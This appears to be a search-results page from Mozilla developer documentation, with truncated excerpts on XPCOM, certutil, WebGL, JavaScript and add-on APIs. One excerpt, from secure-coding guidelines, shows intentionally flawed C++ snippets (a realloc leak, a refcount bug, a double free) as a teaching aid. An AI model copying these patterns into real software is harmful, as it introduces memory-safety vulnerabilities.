since every category can define the name-value pairs, the application "app-startup" category can support not only services but component instances as well. for the app-startup notification, you must explicitly pass the string "service," prior to the component's contract id. if you do not, the component will be created and then released after the notification, which may cause the component to be deleted. in short, to register the weblock component as an xpcom-startup observer, do the following: char* previous = nsnull; rv = catman->addcategoryentry("xpcom-startup", "weblock", weblock_contractid, pr_true, // persist category pr_true, // replace existing ...
... weblock_contractid, pr_true, // persist category pr_true, // replace existing &previous); if (previous) nsmemory::free(previous); // free the memory the replaced value might have used the unregistration, which should occur in the unregistration callback, looks like this: rv = catman->deletecategoryentry("xpcom-startup", "weblock", pr_true); // persist a complete code listing for registering weblock as a startup observer follows: #define mozilla_strict_api #include "nsigenericfactory.h" #include "nscomptr.h" #include "nsxpcom.h" #include "nsiservicemanager.h" #include "nsicategorymanager.h" #include "nsmemory.h...
...manager> servman = do_queryinterface((nsisupports*)acompmgr, &rv); if (ns_failed(rv)) return rv; nscomptr<nsicategorymanager> catman; rv = servman->getservicebycontractid(ns_categorymanager_contractid, ns_get_iid(nsicategorymanager), getter_addrefs(catman)); if (ns_failed(rv)) return rv; rv = catman->deletecategoryentry("xpcom-startup", "weblock", pr_true); return rv; } ns_generic_factory_constructor(weblock) static const nsmodulecomponentinfo components[] = { { "weblock", weblock_cid, weblock_contractid, weblockconstructor, weblockregistration, weblockunregistration } }; ns_impl_nsgetmodule(weblo...
...And 3 more matches
Index
Mozilla › Tech › XPCOM › Index
ment from the nsiaccessible or nsiaccessnode for the root node of a document. you can also get one from nsiaccessnode.getaccessibledocument() or nsiaccessibleevent.getaccessibledocument() 292 nsiaccessibleeditabletext accessibility, interfaces, interfaces:scriptable, xpcom, xpcom api reference, xpcom interface reference copies the text range into the clipboard. 293 deletetext delete documentation is now located at nsiaccessibleeditabletext.deletetext(). 294 nsiaccessibleevent accessibility, interfaces, interfaces:scriptable, xpcom, xpcom api reference, xpcom interface reference to listen to in-process accessibility invents, make your object an nsiobserver, and listen for accessible-event by using code something like this: 295 ...
...nterface reference by default a message is displayed in a small window that slides up from the bottom of the screen, holds there for a few seconds, then slides down. the specific appearance varies from platform to platform. 324 nsiannotationobserver developing mozilla, extensions, interfaces, places, xpcom, xpcom api reference this method is called when an annotation is deleted for an item. if aname is empty, then all annotations for the given item have been deleted. this is not called when annotations are expired (normally happens when the application exits). 325 nsiannotationservice developing mozilla, extensions, interface, interfaces, interfaces:scriptable, places, xpcom, xpcom api reference, xpcom interface reference, nsiannotationservice impl...
...pcom interface reference call this method to request that this object abort whatever operation it may be performing. 379 nsicategorymanager interfaces, interfaces:scriptable, xpcom, xpcom api reference, xpcom interface reference implemented by: @mozilla.org/categorymanager;1. ...
...And 3 more matches
nsIHTMLEditor
; astring getparagraphstate(out boolean amixed); nsidomelement getselectedelement(in astring atagname); nsidomelement getselectioncontainer(); void ignorespuriousdragevent(in boolean aignorespuriousdragevent); void increasefontsize(); void indent(in astring aindent); void insertelementatselection(in nsidomelement aelement, in boolean adeleteselection); void insertfromdrop(in nsidomevent aevent); void inserthtml(in astring ainputstring); void inserthtmlwithcontext(in astring ainputstring, in astring acontextstr, in astring ainfostr, in astring aflavor, in nsidomdocument asourcedoc, in nsidomnode adestinationnode, in long adestinationoffset, in boolean adeleteselection); void insertlinkaroundselectio...
... indent( in astring aindent ); parameters aindent insertelementatselection() insert an element, which may have child nodes, at the selection used primarily to insert a new element for various insert element dialogs, but it enforces the html 4.0 dtd "cancontain" rules, so it should be useful for other elements. void insertelementatselection( in nsidomelement aelement, in boolean adeleteselection ); parameters aelement the element to insert. adeleteselection delete the selection before inserting if adeleteselection is pr_false, then the element is inserted after the end of the selection for all element except named anchors, which insert before the selection. insertfromdrop() looks for a dragsession and inserts the relevant data in response to a drop. void insertfromdr...
...s ainputstring the string to be inserted. inserthtmlwithcontext() insert some html source, interpreting the string argument according to the given context. ...
...And 3 more matches
nsIMessenger
imessenger instance. sendingunsentmsgs boolean indicates if sending messages is in progress. lastdisplayedmessageuri acstring readonly: the url of the last displayed message. navigatepos long the current index in the navigation history. constants name value description eunknown 0 unknown transaction type. edeletemsg 1 delete transaction type. emovemsg 2 move transaction type. ecopymsg 3 copy transaction type. methods setdisplaycharset() sets the character set for the displayed message. void setdisplaycharset(in acstring acharset); parameters acharset the character set to use. setwindow() sets the current window for a messenger session. void setwind...
..., in acstring acontenttype, in nsiurllistener alistener); parameters afile the nsifile to save to. aurl the url of the attachment. amessageuri the url of the message containing this attachment. acontenttype the content type of the attachment. alistener an nsiurllistener to be notified when the file is saved. detachattachment() deletes an attachment from a message. void detachattachment(in string contenttype, in string url, in string displayname, in string messageuri, in boolean savefirst, [optional] in boolean withoutwarning); parameters contenttype the content type of the attachment. url the url of the...
...ri, in boolean savefirst, [optional] in boolean withoutwarning); parameters contenttype the content type of the attachment. url the url of the attachment. displayname the file name of the attachment. messageuri the url of the message containing the attachment. savefirst if true, the attachment is saved using saveattachment() before it is deleted. withoutwarning if true, no warning is shown to the user before the delete. detachallattachments() deletes a set of attachments. void detachallattachments(in unsigned long count, [array, size_is(count)] in string contenttypearray, [array, size_is(count)] in string urlarray, [array, size_is(count)] in string d...
...And 3 more matches
nsISessionStore
dows for details. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in versions of firefox prior to 3.5, the user preference browser.sessionstore.enabled must be true for these calls to be successful. starting in firefox 3.5, this preference is no longer used. ...
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in versions of firefox prior to 3.5, the user preference browser.sessionstore.enabled must be true for these calls to be successful. starting in firefox 3.5, this preference is no longer used. ...
..., in astring astringvalue); nsidomnode undoclosetab(in nsidomwindow awindow, in unsigned long aindex); nsidomwindow undoclosewindow(in unsigned long aindex); attributes attribute type description canrestorelastsession boolean is it possible to restore the previous session. will always be false when in private browsing mode. ...
...And 3 more matches
nsISupportsArray
xpcom/ds/nsisupportsarray.idlscriptable please add a summary to this article. ...
... xpcom/ds/nsisupportsarray.idlscriptable please add a summary to this article. ...
...ex); violates the xpcom interface guidelines boolean sizeto(in long asize); violates the xpcom interface guidelines methods violates the xpcom interface guidelines appendelements() boolean appendelements( in nsisupportsarray aelements ); parameters aelements return value clone() nsisupportsarray clone(); parameters none. return value compact() void compact(); parameters none. ...
...And 3 more matches
WebIDL bindings
the webidl bindings are generated at build time based on two things: the actual webidl file and a configuration file that lists some metadata about how the webidl should be reflected into gecko-internal code. all webidl files should be placed in dom/webidl and added to the list in the moz.build file in that directory. note that if you're adding new interfaces, then the test at dom/tests/mochitest/general/test_interfaces.html will most likely fail. this is a signal that you need to get a review from a dom peer. ...
... interface: interface stringtolongmap { maplike<domstring, long>; }; the bindings for this interface will generate the storage structure for the map, as well as helper functions for accessing that structure from c++. ...
...ngs setlike example interface: interface stringset { setlike<domstring>; }; the bindings for this interface will generate the storage structure for the set, as well as helper functions for accessing that structure from c++. ...
...And 3 more matches
Content Index API - Web APIs
ached media file, for example, can't be indexed directly. instead, you need to provide a url for a page that displays media, and which works offline. interfaces contentindex the contentindex interface provides functionality to register content available offline. ...
...this happens when content is removed by the user agent. examples all the following examples assume a service worker has been registered. for more information see the service worker api. ...
...e event. service worker additions the following additions to the serviceworker have been specified in the content index api spec to provide an entry point for using content indexing. serviceworkerregistration.index read only returns a reference to the contentindex interface for indexing cached pages. serviceworkerglobalscope.oncontentdelete an event handler fired whenever a contentdelete event occurs. this happens when content is removed by the user agent. examples all the following examples assume a service worker has been registered. for more information see the service worker api. feature detection and interface access here we get a reference to the serviceworkerregistration, then check for the index property, which gives us access to the content index interface. // refe...
...And 3 more matches
Preflight request - MDN Web Docs Glossary: Definitions of Web-related terms
aders: access-control-request-method, access-control-request-headers, and the origin header. a preflight request is automatically issued by a browser and in normal cases, front-end developers don't need to craft such requests themselves. it appears when request is qualified as "to be preflighted" and omitted for simple requests. ...
...hod, access-control-request-headers, and the origin header. a preflight request is automatically issued by a browser and in normal cases, front-end developers don't need to craft such requests themselves. it appears when request is qualified as "to be preflighted" and omitted for simple requests. ...
...sued by a browser and in normal cases, front-end developers don't need to craft such requests themselves. it appears when request is qualified as "to be preflighted" and omitted for simple requests. ...
...And 2 more matches
Manipulating documents - Learn web development
browsers) is the actual page loaded into the window, and is represented in javascript by the document object. you can use this object to return and manipulate information on the html and css that comprises the document, for example get a reference to an element in the dom, change its text content, apply new styles to it, create new elements and add them to the current element as children, or even delete it altogether. in this article we'll focus mostly on manipulating the document, but we'll show a few other useful bits besides. the document object model the document currently loaded in each one of your browser tabs is represented by a document object model. this is a "tree structure" representation created by the browser that enables the html structure to be easily accessed by programming l...
...he paragraph the link is inside, and append the text node to it: const linkpara = document.queryselector('p'); linkpara.appendchild(text); that's most of what you need for adding nodes to the dom — you'll make a lot of use of these methods when building dynamic interfaces (we'll look at some examples later). moving and removing elements there may be times when you want to move nodes, or delete them from the dom altogether. this is perfectly possible. if we wanted to move the paragraph with the link inside it to the bottom of the section, we could simply do this: sect.appendchild(linkpara); this moves the paragraph down to the bottom of the section. you might have thought it would make a second copy of it, but this is not the case — linkpara is a reference to the one and only copy ...
...e hope you enjoyed the ride.</p> note: notice how the javascript property versions of the css styles are written in lower camel case whereas the css versions are hyphenated (e.g. backgroundcolor versus background-color). make sure you don't get these mixed up, otherwise it won't work. there is another common way to dynamically manipulate styles on your document, which we'll look at now. delete the previous five lines you added to the javascript. add the following inside your html <head>: <style> .highlight { color: white; background-color: black; padding: 10px; width: 250px; text-align: center; } </style> now we'll turn to a very useful method for general html manipulation — element.setattribute() — this takes two arguments, the attribute you want to set on the elem...
...And 2 more matches
Debugging on Mac OS X
tion (sip). note that disabling sip bypasses hardened runtime restrictions which can mask some bugs that only occur with hardened runtime so it is recommended to test fixes with sip enabled. disabling sip has system security implications that should be understood before taking this step. creating an xcode project if you try to create a new xcode project in an existing directory then xcode will delete its existing contents (xcode will warn you beforehand). to work around that, the steps below have you initialize the project outside the mozilla source tree, close the project, copy the .xcodeproj project "file" into the source tree, and then reopen the project to finish setting it up. note also that since xcode 7.3.1 it doesn't seem to be possible to have the xcode project live outside the sour...
...project (file > close project) and open finder. find the *.xcodejproj directory in the temporary directory, move it into your mozilla source tree, and then double-click on it to reopen it. in the left-hand pane in xcode you should see a tree item where the root item has the project name. if the temporary directory that you originally created the xcode project in is under that, right click it and delete it. now, right click on the root item, select 'add files to "<project-name>"', select all the files and directories in your source directory, untick "copy items if needed", then click add. (these will then be progressively added under the root item <project-name> in the left-hand pane. note that subdirectories may initially appear to be empty, but they too will progressively be populated as xcode...
...-s python # this script that we run does not work if we try to use the global 'lldb' # object, since it is out of date at the time that the script runs (for # example, `lldb.target.executable.fullpath` is empty). therefore we must # get the following objects from the 'frame' object. ...
...And 2 more matches
Multiple Firefox profiles
e a profile name that is descriptive, such as your personal name. this name is not exposed to the internet. you can also choose where to store the profile on your computer. to select storage location, click choose folder.... if you choose your folder location for the profile, select a new or empty folder. if you choose a folder that isn't empty, and you later remove the profile and choose the \"delete files\" option, everything inside that folder will be deleted. to create the new profile, click finish. creating a profile through the firefox browser you can create a new firefox profile directly from the browser. type about:profiles into the browser url search bar on the page, click create a new profile button read the introduction, and click next enter a profile name for your new pro...
...on, and click next enter a profile name for your new profile. use a profile name that is descriptive, such as your personal name. this name is not exposed to the internet. optionally, to change where the profile will be stored on your computer, click choose folder... to create the new profile, click finish. ...
...your new profile. use a profile name that is descriptive, such as your personal name. this name is not exposed to the internet. optionally, to change where the profile will be stored on your computer, click choose folder... to create the new profile, click finish. deleting a profile in the profile manager, select the profile to remove, and click delete profile.... ...
...And 2 more matches
Extending a Protocol
rotocol pecho.ipdl let's start by saving the following file to ./dom/ipc/pecho.ipdl. we will explain what all the parts mean below. note that the file's name and the protocol name must match. include protocol pwindowglobal; namespace mozilla { namespace dom { async refcounted protocol pecho { manager pwindowglobal; parent: async echo(nscstring data) returns (nscstring aresult); async __delete__(); }; } // namespace dom } // namespace mozilla now, edit "./dom/ipc/moz.build" file and add 'pecho.ipdl', to the ipdl_sources array. remember that it needs to be in alphabetical order or it won't compile. breaking it down: include protocol pwindowglobal; - we include pwindowglobal, because it's going to manage the protocol for us. async refcounted protocol pecho {....} - this protocol...
...ndowglobal is our manager. parent: - these are the messages that the parent is able to recieve. note that the child doesn't need to receive any messages. this is because of "async" and "returns" forms a mozpromise. async echo(nscstring data) returns (nscstring aresult); - the "returns" here translates to a mozpromise, with a resolver that will settle a promise with the expected value. async __delete__(); - this is called when an instance is deleted. it lets you do cleanup if needed. ok, if we now try to compile this (./mach build), it will say: |manager| declaration in protocol `pecho' does not match any |manages| declaration in protocol `pwindowglobal' that's good! it means the syntax is correct, and now we need to pwindowglobal.ipdl to manage our pecho protocol. updating pwindowglobal...
...again, remember that this must be in alphabetical order! ok, if we now try to compile, it should complai...
...And 2 more matches
NSS API Guidelines
location of the library code in the nss source tree. the public headers is a list of header files that contain types, and functions, that are publicly available to higer-level apis. library description layer directory public headers certdb provides all certificate handling functions and types. the certdb library manipulates the certificate database (add, create, delete certificates and crls). it also provides general certificate-handling routines (create a certificate, verify, add/check certificate extensions). low cert lib/certdb cdbhdl.h, certdb.h, cert.h, certt.h certhi provides high-level certificate-related functions, that do not access the certificate database, nor individual certificate data directly. currently, ocsp checking setting...
...e of thread safety features. first to examine is object creation and deletion. object creation is usually not a problem. no other threads have access to allocated memory just created. exceptions to this include objects which are created on the fly, or as global objects. deletion, on the other hand, may be trickier. threads may be referencing the object at the same time a another thread tries to delete it. the semantics depend on the way the application uses the object, also how and when the application wants to destroy it. for some data structures, this problem can be removed by protected reference counting. the object does not disappear until all users have released it. next we examine global data, including function local static structures. just initialized, and never to be changed global d...
...utdown functions. creation functions in general, data objects should all have functions which create them. these functions should have the form layer_createdatatype[fromdatatype](). for instance generating a new key would change from pk11_keygen() to pk11_createsymkey(). ...
...And 2 more matches
NSS tools : certutil
name certutil — manage keys and certificate in both nss databases and other nss tokens synopsis certutil [options] [[arguments]] description the certificate database tool, certutil, is a command-line utility that can create and modify certificate and key databases. it can specifically list, generate, modify, or delete certificates, create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key database. certificate issuance, part of the key and certificate management process, requires that keys and certificates be created in the key database. this document discusses certificate and key database management. for information on the security module...
...efault. -b run a series of commands from the specified batch file. this requires the -i argument. -c create a new binary certificate file from a binary certificate request file. use the -i argument to specify the certificate request file. if this argument is not used, certutil prompts for a filename. -d delete a certificate from the certificate database. --rename change the database nickname of a certificate. -e add an email certificate to the certificate database. -f delete a private key from a key database. specify the key to delete with the -n argument. specify the database from which to delete the key with the -d argument. use ...
... change the database nickname of a certificate. -e add an email certificate to the certificate database. -f delete a private key from a key database. specify the key to delete with the -n argument. specify the database from which to delete the key with the -d argument. use the -k argument to specify explicitly whether to delete a dsa, rsa, or ecc key. if you don't use the -k argument, the option looks for an rsa key matching the specified nickname. when you delete keys, be sure to also remove any certificates associated with those keys from the certificate database, by using -d. some smart cards (for example, the litronic card) do not let you...
...And 2 more matches
certutil
name certutil — manage keys and certificate in the the nss database. synopsis certutil [options] arguments description the certificate database tool, certutil, is a command-line utility that can create and modify certificate and key database files. it can also list, generate, modify, or delete certificates within the database, create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key database. the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database. this document discusses certificate and key database management. for information security mod...
...y default. -b run a series of commands from the specified batch file. this requires the -i argument. -c create a new binary certificate file from a binary certificate request file. use the -i argument to specify the certificate request file. if this argument is not used, certutil prompts for a filename. ...
... create a new binary certificate file from a binary certificate request file. use the -i argument to specify the certificate request file. if this argument is not used, certutil prompts for a filename. -d delete a certificate from the certificate database. -e add an email certificate to the certificate database. -f delete a private key from a key database. specify the key to delete with the -n argument. specify the database from which to delete the key with the -d argument. use the -k argument to specify explicitly whether to delete a dsa, rsa, or ecc key. if you don't use the -k argument, the option looks for an rsa key matching the specified nickname. ...
...And 2 more matches
JS_ClearNonGlobalObject
uced in spidermonkey 24 remove all properties associated with an object. syntax void js_clearnonglobalobject(jscontext *cx, jsobject *obj); name type description cx jscontext * the context in which to clear the object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
...r must be in a request on this jscontext. obj jsobject * object from which to delete all properties. description js_clearnonglobalobject removes all of obj's own properties, except the special __proto__ and __parent__ properties, in a single operation. properties belonging to objects on obj's prototype chain are not affected. to remove a single property from an object, use js_deleteproperty. ...
...ct * object from which to delete all properties. description js_clearnonglobalobject removes all of obj's own properties, except the special __proto__ and __parent__ properties, in a single operation. properties belonging to objects on obj's prototype chain are not affected. to remove a single property from an object, use js_deleteproperty. to remove a single array object element, use js_deleteelement. ...
...And 2 more matches
Secure Development Guidelines
memory leaks example: void *p; size_t new_size; p = realloc(p, new_size); if (p =...
...aks: prevention tools like valgrind can help detect memory leaks writing secure code: object management reference counting issues real-life example (bug 440230) void addref() { ++mrefcnt; ns_log_addref(this, mrefcnt, "nscssvalue::array", sizeof(*this)); } void release() { --mrefcnt; ns_log_release(this, mrefcnt, "nscssvalue::array"); if (mrefcnt == 0) delete this; } reference counting issues: prevention use the largest data type available on your platform for your reference counter use a hard limit constructor/destructor issues if a constructor fails the destructor never gets called this can lead to memory leaks constructor/destructor issues example class foo { private: char *ptr; public: foo() {} ...
... tmp = realloc(tmp, size) — realloc could fail and leak tmp writing secure code: exception handling double freeing pointers double frees can occur in exception handling they free data in try block and then free it again in the catch block this is a common issue double freeing pointers char *ptr1 = null, *ptr2 = null; try { ptr1 = new char[1024]; do_something(); delete ptr1; do_something_else(); ptr2 = new char[-1] // oom } catch (...) { delete ptr1; delete ptr2; } new will throw an exception — ptr1 is already freed in the try block then freed again in the catch block freeing un-initialized data free data in the catch block assumption is that it’s initialized in the try block if the try block throws before the variable is ini...
...And 2 more matches
nsIAccessibleEditableText
f an object with new text. it also includes and support basic operations such as, inserting text, copying text, cutting text, pasting text and deleting text at the specified position. ...
...ve code only! methods copytext() copies the text range into the clipboard. void copytext( in long startpos, in long endpos ); parameters startpos start offset of the text to be copied into the clipboard. endpos end offset of the text to be copied into the clipboard. exceptions thrown ns_error_failure indicates the text cannot be copied into the clipboard. ...
...tart offset of the text to be copied into the clipboard. endpos end offset of the text to be copied into the clipboard. exceptions thrown ns_error_failure indicates the text cannot be copied into the clipboard. cuttext() deletes a range of text and copies it to the clipboard. void cuttext( in long startpos, in long endpos ); parameters startpos start offset of the text to be deleted and copied to clipboard. endpos end offset of the text to be copied into the clipboard. exceptions thrown ns_error_failure indicates the text cannot be deleted or copied into the clipboard. deletetext() deletes a range of text. void deletetext( in long startpos, in long endpos ); parameters startpos start offset of the text to be deleted. endpos end offset of the text to ...
...And 2 more matches
nsIDBChangeListener
the nsidbchangelistener interface is used by components wanting to receive notification when the current database changes somehow. ...
...do this like so: somefolder.msgdatabase.addlistener(mylistener); alternately, you can access the message database through the nsimsgdbview like so: gfolderdisplay.view.dbview.db.addlistener(mylistener); method overview void onhdrflagschanged(in nsimsgdbhdr ahdrchanged, in unsigned long aoldflags, in unsigned long anewflags, in nsidbchangelistener ainstigator); void onhdrdeleted(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); void onhdradded(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); void onparentchanged(in nsmsgkey akeychanged, in nsmsgkey oldparent, in nsmsgkey newparent, in nsidbchangelistener ainstigator); void onannouncer...
... aoldflags the original flags on the message. can be used to figure out what changed. flags are defined in nsmsgmessageflags. anewflags the new flags on the message. can be used to figure out what changed. flags are defined in nsmsgmessageflags. ainstigator the caller who changed the header. this can be used to filter out events that you yourself started. ainstigator may also be null. onhdrdeleted() called when a header is deleted from the database. void onhdrdeleted(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); parameters ahdrchanged the nsimsgdbhdr of the message that was removed. aparentkey the key of the parent folder for deleted header. the typedef of nsmsgke...
...And 2 more matches
KeyboardEvent: code values - Web APIs
unidentified" "" 0xe04b "arrowleft" "arrowleft" 0xe04c "unidentified" "" 0xe04d "arrowright" "arrowright" 0xe04e "unidentified" "" 0xe04f "end" "end" 0xe050 "arrowdown" "arrowdown" 0xe051 "pagedown" "pagedown" 0xe052 "insert" "insert" 0xe053 "delete" "delete" 0xe054 ~ 0xe05a "unidentified" "" 0xe05b "metaleft" "osleft" 0xe05c "metaright" "osright" 0xe05d "contextmenu" "contextmenu" 0xe05e "power" "" 0xe05f ~ 0xe064 "unidentified" "" 0xe065 "browsersearch" "browsersearch" 0xe066 "brows...
...mma (0x2b) "comma" "comma" kvk_ansi_slash (0x2c) "slash" "slash" kvk_ansi_n (0x2d) "keyn" "keyn" kvk_ansi_m (0x2e) "keym" "keym" kvk_ansi_period (0x2f) "period" "period" kvk_tab (0x30) "tab" "tab" kvk_space (0x31) "space" "space" kvk_ansi_grave (0x32) "backquote" "backquote" kvk_delete (0x33) "backspace" "backspace" enter key on keypad of powerbook (0x34) "numpadenter" "" kvk_escape (0x35) "escape" "escape" right-command key (0x36) "osright" "osright" kvk_command (0x37) "osleft" "osleft" kvk_shift (0x38) "shiftleft" "shiftleft" kvk_capslock (0x39) "capslock" "capslock" kvk_o...
...3 (0x69) "f13" "f13" kvk_f16 (0x6a) "f16" "f16" kvk_f14 (0x6b) "f14" "f14" kvk_f10 (0x6d) "f10" "f10" kvk_f12 (0x6f) "f12" "f12" kvk_f15 (0x71) "f15" "f15" kvk_help (0x72) "help" "insert" kvk_home (0x73) "home" "home" kvk_pageup (0x74) "pageup" "pageup" kvk_forwarddelete (0x75) "delete" "delete" kvk_f4 (0x76) "f4" "f4" kvk_end (0x77) "end" "end" kvk_f2 (0x78) "f2" "f2" kvk_pagedown (0x79) "pagedown" "pagedown" kvk_f1 (0x7a) "f1" "f1" kvk_leftarrow (0x7b) "arrowleft" "arrowleft" kvk_rightarrow (0x7c) "arrowright" "arrowright" kvk_downarrow (0x7d)...
...And 2 more matches
WebGL2RenderingContext - Web APIs
nders primitives from array data in a given range. webgl2renderingcontext.drawbuffers() specifies a list of color buffers to be drawn into. webgl2renderingcontext.clearbuffer[fiuv]() clears buffers from the currently bound framebuffer. query objects methods for working with webglquery objects. webgl2renderingcontext.createquery() creates a new webglquery object. webgl2renderingcontext.deletequery() deletes a given webglquery object. webgl2renderingcontext.isquery() returns true if a given object is a valid webglquery object. webgl2renderingcontext.beginquery() begins an asynchronous query. webgl2renderingcontext.endquery() marks the end of an asynchronous query. webgl2renderingcontext.getquery() returns a webglquery object for a given target. webgl2renderingcontext.getquery...
...nquery() begins an asynchronous query. webgl2renderingcontext.endquery() marks the end of an asynchronous query. webgl2renderingcontext.getquery() returns a webglquery object for a given target. webgl2renderingcontext.getqueryparameter() returns information about a query. sampler objects webgl2renderingcontext.createsampler() creates a new webglsampler object. webgl2renderingcontext.deletesampler() deletes a given webglsampler object. webgl2renderingcontext.bindsampler() binds a given webglsampler to a texture unit. webgl2renderingcontext.issampler() returns true if a given object is a valid webglsampler object. webgl2renderingcontext.samplerparameter[if]() sets sampler parameters. webgl2renderingcontext.getsamplerparameter() returns sampler parameter information. sync o...
...enderingcontext.samplerparameter[if]() sets sampler parameters. webgl2renderingcontext.getsamplerparameter() returns sampler parameter information. sync objects webgl2renderingcontext.fencesync() creates a new webglsync object and inserts it into the gl command stream. webgl2renderingcontext.issync() returns true if the passed object is a valid webglsync object. webgl2renderingcontext.deletesync() deletes a given webglsync object. webgl2renderingcontext.clientwaitsync() blocks and waits for a webglsync object to become signaled or a given timeout to be passed. webgl2renderingcontext.waitsync() returns immediately, but waits on the gl server until the given webglsync object is signaled. webgl2renderingcontext.getsyncparameter() returns parameter information of a webglsync o...
...And 2 more matches
WebGLRenderingContext - Web APIs
parate() sets the front and/or back-facing stencil test actions. buffers webglrenderingcontext.bindbuffer() binds a webglbuffer object to a given target. webglrenderingcontext.bufferdata() updates buffer data. webglrenderingcontext.buffersubdata() updates buffer data starting at a passed offset. webglrenderingcontext.createbuffer() creates a webglbuffer object. webglrenderingcontext.deletebuffer() deletes a webglbuffer object. webglrenderingcontext.getbufferparameter() returns information about the buffer. webglrenderingcontext.isbuffer() returns a boolean indicating if the passed buffer is valid. framebuffers webglrenderingcontext.bindframebuffer() binds a webglframebuffer object to a given target. webglrenderingcontext.checkframebufferstatus() returns the status of t...
...fer. webglrenderingcontext.isbuffer() returns a boolean indicating if the passed buffer is valid. framebuffers webglrenderingcontext.bindframebuffer() binds a webglframebuffer object to a given target. webglrenderingcontext.checkframebufferstatus() returns the status of the framebuffer. webglrenderingcontext.createframebuffer() creates a webglframebuffer object. webglrenderingcontext.deleteframebuffer() deletes a webglframebuffer object. webglrenderingcontext.framebufferrenderbuffer() attaches a webglrenderingbuffer object to a webglframebuffer object. webglrenderingcontext.framebuffertexture2d() attaches a textures image to a webglframebuffer object. webglrenderingcontext.getframebufferattachmentparameter() returns information about the framebuffer. webglrenderingcontext.is...
....isframebuffer() returns a boolean indicating if the passed webglframebuffer object is valid. webglrenderingcontext.readpixels() reads a block of pixels from the webglframebuffer. renderbuffers webglrenderingcontext.bindrenderbuffer() binds a webglrenderbuffer object to a given target. webglrenderingcontext.createrenderbuffer() creates a webglrenderbuffer object. webglrenderingcontext.deleterenderbuffer() deletes a webglrenderbuffer object. webglrenderingcontext.getrenderbufferparameter() returns information about the renderbuffer. webglrenderingcontext.isrenderbuffer() returns a boolean indicating if the passed webglrenderingbuffer is valid. webglrenderingcontext.renderbufferstorage() creates a renderbuffer data store. textures webglrenderingcontext.bindtexture() binds ...
...And 2 more matches
Object.defineProperty() - JavaScript
riptor for the property being defined or modified. return value the object that was passed to the function. description this method allows a precise addition to or modification of a property on an object. normal property addition through assignment creates properties which show up during property enumeration (for...in loop or object.keys method), whose values may be changed, and which may be deleted. this method allows these extra details to be changed from their defaults. by default, values added using object.defineproperty() are immutable and not enumerable. property descriptors present in objects come in two main flavors: data descriptors and accessor descriptors. a data descriptor is a property that has a value, which may or may not be writable. an accessor descriptor is a property des...
...a getter-setter pair of functions. a descriptor must be one of these two flavors; it cannot be both. both data and accessor descriptors are objects. they share the following optional keys (note: the default value is in the case of defining properties using object.defineproperty()): configurable true if and only if the type of this property descriptor may be changed and if the property may be deleted from the corresponding object. defaults to false. enumerable true if and only if this property shows up during enumeration of the properties on the corresponding object. defaults to false. a data descriptor also has the following optional keys: value the value associated with the property. can be any valid javascript value (number, object, function, etc). defaults to undefined. writa...
... var o = {}; object.defineproperty(o, 'a', { get() { return 1; }, configurable: false }); object.defineproperty(o, 'a', { configurable: true }); // throws a typeerror object.defineproperty(o, 'a', { enumerable: true }); // throws a typeerror object.defineproperty(o, 'a', { set() {} }); // throws...
...And 2 more matches
simple-storage - Archive of obsolete content
read", icon: "./read.png", onclick: function() { console.log(ss.storage.pages); } }); but this isn't going to work, because it empties the array each time the add-on runs (for example, each time firefox is started). ...
... onclick: function() { console.log(ss.storage.pages); } }); but this isn't going to work, because it empties the array each time the add-on runs (for example, each time firefox is started). line 2 needs to be made conditional, so the array is only constructed if it does not already exist: if (!ss.storage.pages) ss.storage.pages = []; deleting data you can delete properties using the delete operator. ...
...isn't going to work, because it empties the array each time the add-on runs (for example, each time firefox is started). line 2 needs to be made conditional, so the array is only constructed if it does not already exist: if (!ss.storage.pages) ss.storage.pages = []; deleting data you can delete properties using the delete operator. ...
...tton/action").actionbutton({ id: "write", label: "write", icon: "./write.png", onclick: function() { ss.storage.value = 1; console.log("setting value"); } }); require("sdk/ui/button/action").actionbutton({ id: "read", label: "read", icon: "./read.png", onclick: function() { console.log(ss.storage.value); } }); require("sdk/ui/button/action").actionbutton({ id: "delete", label: "delete", icon: "./delete.png", onclick: function() { delete ss.storage.value; console.log("deleting value"); } }); if you run it, you'll see that after clicking "read" after clicking "delete" gives you the expected output: info: undefined note that to run this add-on you'll have to save icon files named "write.png", "read.png", and "delete.png" to the add-on's "data"...
ui/button/toggle - Archive of obsolete content
also updated when the user clicks the button (or when some code calls button.click()). when that happens, the button is updated for the window whose button was clicked. because window-specific state overrides global state, if you try to update checked by direct assignment to the button, this will be overridden by the user clicking the button. ...
... default behavior, you can delete the window-specific state in your button's onchange handler. ...
... this.state('window', null); // now that the state hierarchy is clean, set the global state this.checked = !this.checked; } }); here's a button that makes click events update only the current tab: var { togglebutton } = require('sdk/ui/button/toggle'); var tabtoggle = togglebutton({ id: 'my-tab-toggle', label: 'tab-specific', icon: './foo.png', onchange: function() { // delete the window state for the current window, // automatically set when the user click on the button this.state('window', null); // now that the state hierarchy is clean, set the // tab state for the current tab let { checked } = this.state('tab'); this.state('tab', {checked: !checked}); } }); destroying buttons when you've finished with a button, destroy it by calling its...
... for each tab in a window. if a property value for a node in the tree has not been set explicitly using state(), then it inherits its value from the next level up. so if you have one window containing two tabs, and have set the button's label only for tab a, then tab b will inherit label's value from the window, and changing the value for the window will implicitly change the value for tab b. to delete a tab- or window-specific state, assign null to the property. after that, the property will inherit its value from the less-specific state as before: var { togglebutton } = require('sdk/ui/button/toggle'); var tabs = require("sdk/tabs"); var button = togglebutton({ id: "my-button", label: "default label", icon: "./firefox-16.png" }); tabs.open({ url: "https://mozilla.org/", onopen: o...
JavaScript crypto - Archive of obsolete content
